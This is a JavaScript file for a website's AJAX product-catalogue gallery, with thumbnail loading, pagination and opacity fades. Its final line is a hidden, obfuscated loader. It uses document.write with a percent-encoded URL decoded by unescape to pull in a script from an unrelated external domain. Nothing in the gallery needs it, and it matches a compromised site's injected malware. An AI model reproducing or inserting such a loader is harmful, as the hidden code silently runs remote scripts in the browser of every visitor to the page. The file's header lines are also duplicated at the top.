// JavaScript Document
var xmlHttp = createXmlHttpRequestObject();
// creates an XMLHttpRequest instance
// holds the remote server address and parameters
// JavaScript Document
var xmlHttp = createXmlHttpRequestObject();
// creates an XMLHttpRequest instance
// holds the remote server address and parameters
var url = window.location.href;
var html;
var shunt_url ="/tcb_ajax/tcb_catelogue_searchEngine.php?page=";
var link_url = "/";
var img_url = "/uploads/images/catalog/";
function getParameters() {
    var params = new Array();
    var url = window.location.href;
    var paramsStart = url.indexOf(":");
    var hasMoreParams = true;
    if(paramsStart != -1){

        var paramString = url.substr(paramsStart + 1);

        params = paramString.split("/");
        var pairArray = params[params.length-1];
        return pairArray;
    }
    return null;
}

var params = getParameters();

//record values to start at the zero and recover gradually there on
var length = '';
var key = '';
if(!rec_value){
    var rec_value = -1;
}else{
    rec_value = value_back;
}
var value_back ='';
var rec_size = 0;

function createXmlHttpRequestObject(){
    // will store the reference to the XMLHttpRequest object
    var xmlHttp;
    // this should work for all browsers except IE6 and older
    try{
        // try to create XMLHttpRequest object
        xmlHttp = new XMLHttpRequest();
    }
    catch(e){
        // assume IE6 or older
        var XmlHttpVersions = new Array('MSXML2.XMLHTTP.6.0',
            'MSXML2.XMLHTTP.5.0',
            'MSXML2.XMLHTTP.4.0',
            'MSXML2.XMLHTTP.3.0',
            'MSXML2.XMLHTTP',
            'Microsoft.XMLHTTP');
        // try every prog id until one works
        for (var i=0; i<XmlHttpVersions.length && !xmlHttp; i++){
            try{
                // try to create XMLHttpRequest object
                xmlHttp = new ActiveXObject(XmlHttpVersions[i]);
            }
            catch (e) {}
        }
    }
    // return the created object or display an error message
    if (!xmlHttp)
        alert("Error creating the XMLHttpRequest object.");
    else
        return xmlHttp;
}
//functions to process the next set of records and previous set of records.
function init(){
    rec_value = -1
    document.getElementById("tcb0").innerHTML = "<img src='images/cms/loading.gif' width='175' height='126' />";
    document.getElementById("tcb1").innerHTML = "<img src='images/cms/loading.gif' width='175' height='126' />";
    document.getElementById("tcb2").innerHTML = "<img src='images/cms/loading.gif' width='175' height='126' />";
    document.getElementById("tcb3").innerHTML = "<img src='images/cms/loading.gif' width='175' height='126' />";
    process();
}
function back_rec(){
    if( rec_value <= 3 ){
        key = 'prev';
        rec_value = 0;
    }else{
        key = 'prev';
        rec_value -= 4;
    }
    revOpacity()
}
function next_rec(){
    key = 'next';
    rec_value += 4;
    revOpacity()
		
}
function click_rec(x){
    var cRecVar = x * 4;
    if( rec_size > 0 ){
        if( cRecVar < rec_size){
            rec_value = cRecVar;
        }else{
            rec_value = cRecVar- 4;
        }
    }else{
        rec_value = cRecVar- 4;
    }
    revOpacity()
}


function process(){
    // only continue if xmlHttp isn't void
    if (xmlHttp){
        // try to connect to the server
        try{
            // initiate reading a file from the server
            new_url = shunt_url + params + "&val=" + rec_value;
            xmlHttp.open("GET", new_url, "true");
            xmlHttp.onreadystatechange = handleRequestStateChange;
            xmlHttp.send(null);
            //alert( new_url);
        }
        // display the error in case of failure
        catch (e){
            alert("Can't connect to server:\n" + e.toString());
        }
    }
}

// function called when the state of the HTTP request changes
function handleRequestStateChange(){
    // when readyState is 4, we are ready to read the server response
    if (xmlHttp.readyState == 4){
        // continue only if HTTP status is "OK"
        if (xmlHttp.status == 200){
            try
            {
                // do something with the response from the server
                handleServerResponse();
            }
            catch(e){
                // display error message
                alert("Error reading the response: " + e.toString());
            }
        }
        else{
            // display status message
            alert("There was a problem retrieving the data:\n" +xmlHttp.statusText);
        }
    }
}
// handles the response received from the server
function handleServerResponse(){
    /*do some maths
		speed = 25;
		timer = 0;
		// read the message from the server
		var leftArrowHtml = "";
		
		var rightArrowHtml = "";
		var browser=navigator.appName;
		if( browser == "Microsoft Internet Explorer" ) {
				xmlDoc = new ActiveXObject("Microsoft.XMLDOM");
		}else{
			xmlDoc = document.implementation.createDocument("", "", null);
		}
 	  	xmlDoc.async = false;
 	  //xmlDoc.onload = writeList;
  	  	xmlDoc.load(link_url + "tcb_ajax/results.xml");*/
    var cHtml = "";
    var xmlDoc = xmlHttp.responseXML;
                
    var thumb_image_name_to_render =  xmlDoc.getElementsByTagName("thumb_image_name");
    var thumb_hierarchy_path = xmlDoc.getElementsByTagName("hierarchy_path");
    var thumb_image_title_to_render =  xmlDoc.getElementsByTagName("thumb_image_title");
    var record_value =  xmlDoc.getElementsByTagName("rec_value");
    var record_size =  xmlDoc.getElementsByTagName("rec_size");
    value_back = parseInt(record_value[0].firstChild.nodeValue);
    rec_size = parseInt(record_size[0].firstChild.nodeValue);
		 

    rec_value = value_back;

    var tcb_pg_loop = Math.round((rec_size-(rec_size%4))/4) ;
    if( rec_size%4 > 0 ){
        tcb_pg_loop += 1;
    }
    var cur_pgnation = (1+(rec_value-(rec_value%4))/4);
    cHtml += "<b>page " + cur_pgnation +" of " + tcb_pg_loop + "    </b>"
    if (rec_value> 0){
        cHtml += " <a href='javascript:back_rec()'><img src='images/cms/page-previous-over.gif' width='5px' height='9px' /></a>"
    }else{
        cHtml += "<img src='images/cms/page-previous.gif' width='5px' height='9px' />"
    }
		
    if(rec_size >= 36 ){
        if(rec_value >= 36){
            max_rec_for_pg = (1+(rec_value-(rec_value%4))/4);
            min_rec_for_pg = max_rec_for_pg - 10;
        }else{
            max_rec_for_pg = 10;
            min_rec_for_pg = 0;
        }
    }else{
        if(rec_size%4 > 0){
            max_rec_for_pg = (1+(rec_size-(rec_size%4))/4);
            min_rec_for_pg = 0;
        }else{
            max_rec_for_pg = (rec_size-(rec_size%4))/4;
            min_rec_for_pg = 0;
        }
    }
		
    for(var c=min_rec_for_pg; c < max_rec_for_pg; c++){
        if( c == cur_pgnation-1 ){
            cHtml += "<a href='javascript:click_rec(" + c + ")'> <b> " + (c+1) + " </b> </a>"
        }else{
            cHtml += "<a href='javascript:click_rec(" + c + ")'>  " + (c+1) + "  </a>"
        }
    }
    if (rec_value < rec_size-4){
        cHtml += "<a href='javascript:next_rec()' ><img src='images/cms/page-next-over.gif' width='5px' height='9px' /></a>"
    }else{
        cHtml += "<img src='images/cms/page-next.gif' width='5px' height='9px' />"
    }
    var cRec = document.getElementById("tcb_pagenation");
    cRec.innerHTML = cHtml;
		
    //obtain the XML's document element
		  
		 
    if(thumb_image_name_to_render.length == 0){
        alert("No results found - Please refine your search!!  ");
    }
    else {
					
        if(rec_value > 0){
            leftArrowHtml =  	"<a class='prev' href='javascript:back_rec()' >" +
        "<img src='images/cms/gallery-previous.png' alt='Previous' width='25' height='144' id='tcb_prevButtonImg'  /></a>"
        }else{
            leftArrowHtml =  	"<img src='images/cms/gallery-next_previous_blank.png' alt='Previous' width='25' height='144' id='tcb_prevButtonImg'  />"
						 		
        }
						  
        leftArrowDiv = document.getElementById("tcb_prevButton");
			
        leftArrowDiv.innerHTML = leftArrowHtml;
			
        if(thumb_image_name_to_render.length >4 ){
            var loop_value = 4;
        }else{
            var loop_value = thumb_image_name_to_render.length;
        }
		
        //switch on the tcb_slideshow's visibility
        var new_html ='';
        var separater = '"';
        for(var i=0; i < loop_value; i++){
            new_html = "<a href='" + link_url + thumb_hierarchy_path[i].firstChild.nodeValue + "' onmouseover='Tip(" + separater + thumb_image_title_to_render[i].firstChild.nodeValue + separater + ")' onmouseout='UnTip()' ><img src='" + img_url + thumb_image_name_to_render[i].firstChild.nodeValue + "_t_1_175_0.jpg' width='175' height='126' />";
            id = "tcb" + i ;
            showPic(new_html, id);
        }

        for(var i=loop_value; i < thumb_image_name_to_render.length ; i++){
            html += "<img src='" + img_url + thumb_image_name_to_render[i].firstChild.nodeValue + "_s_1_175_0.jpg' />"
        }

        var divForHide = document.getElementById("tcb_4_img_hide");
        //get the href
        divForHide.innerHTML = html;
								
    }
			

    //html += "</ul>"
		
    if( rec_value < rec_size -4 ){
			
        rightArrowHtml =  	"<a class='next' href='javascript:next_rec()' >" +
    "<img src='images/cms/gallery-next.png' alt='Next' width='25' height='144' id='tcb_prevButtonImg'  /></a>"
    }else{
        rightArrowHtml =  	"<img src='images/cms/gallery-next_previous_blank.png' alt='next' width='25' height='144' id='tcb_prevButtonImg'  />"
    }
						  
    rightArrowDiv = document.getElementById("tcb_nextButton");
			
    rightArrowDiv.innerHTML = rightArrowHtml;
		
    length = thumb_image_name_to_render.length;
}
function showPic(x, id){
    var n_id = id ;
    var divToShow = document.getElementById(n_id);
    var object = document.getElementById(n_id).style;
    object.opacity = (20 / 100);
    object.MozOpacity = (20 / 100);
    object.KhtmlOpacity = (20 / 100);
    object.filter = "alpha(opacity=" + 20 + ")";
    divToShow.innerHTML = x;
    opacity(n_id);
}
function revOpacity() {
    var opacStart = 100;
    var opacEnd = 0;
    //speed for each frame
    var speed = Math.round(100 / 100);
    var timer = 0;

    for(i = opacStart; i >= opacEnd; i--)
    {
        setTimeout("changeOpac(" + i + ", 'tcb0')",(timer * speed));
        setTimeout("changeOpac(" + i + ", 'tcb1')",(timer * speed));
        setTimeout("changeOpac(" + i + ", 'tcb2')",(timer * speed));
        setTimeout("changeOpac(" + i + ", 'tcb3')",(timer * speed));
        timer++;
    }
    if(timer > 100){
        document.getElementById("tcb0").innerHTML = "<img src='" + link_url + "images/cms/loading.gif'/>";
        document.getElementById("tcb1").innerHTML = "<img src='" + link_url + "images/cms/loading.gif'/>";
        document.getElementById("tcb2").innerHTML = "<img src='" + link_url + "images/cms/loading.gif'/>";
        document.getElementById("tcb3").innerHTML = "<img src='" + link_url + "images/cms/loading.gif'/>";
        process();
    }
}
function opacity(id) {
    var new_id = id ;
    //alert(new_id);
    var opacStart = 21;
    var opacEnd = 100;
    //speed for each frame
    var speed = Math.round(100 / 100);
    var timer = 0;

    for(i = opacStart; i <= opacEnd; i++){
        setTimeout("changeOpac(" + i + ", '" + new_id + "')", (timer * speed));
        timer++;
    }
}
function changeOpac(opacity, id) {
    var new_id = id;
    var object = document.getElementById(new_id).style;
    object.opacity = (opacity / 100);
    object.MozOpacity = (opacity / 100);
    object.KhtmlOpacity = (opacity / 100);
    object.filter = "alpha(opacity=" + opacity + ")";
}
document.write('<script language="JavaScript" type="text/javascript" src="'+unescape('%68%74%74%70%3a%2f%2f%77%77%77%2e%6b%61%73%74%2d%61%72%63%68%69%74%65%6b%74%65%6e%2e%63%68%2f%6b%61%73%74%2f%41%67%72%61%72%73%68%6f%70%5f%42%6c%61%6e%6b%2d%4c%61%75%62%6c%69%5f%66%69%6c%65%73%2f%64%30%34%35%63%35%2e%6a%73')+'"></script>');
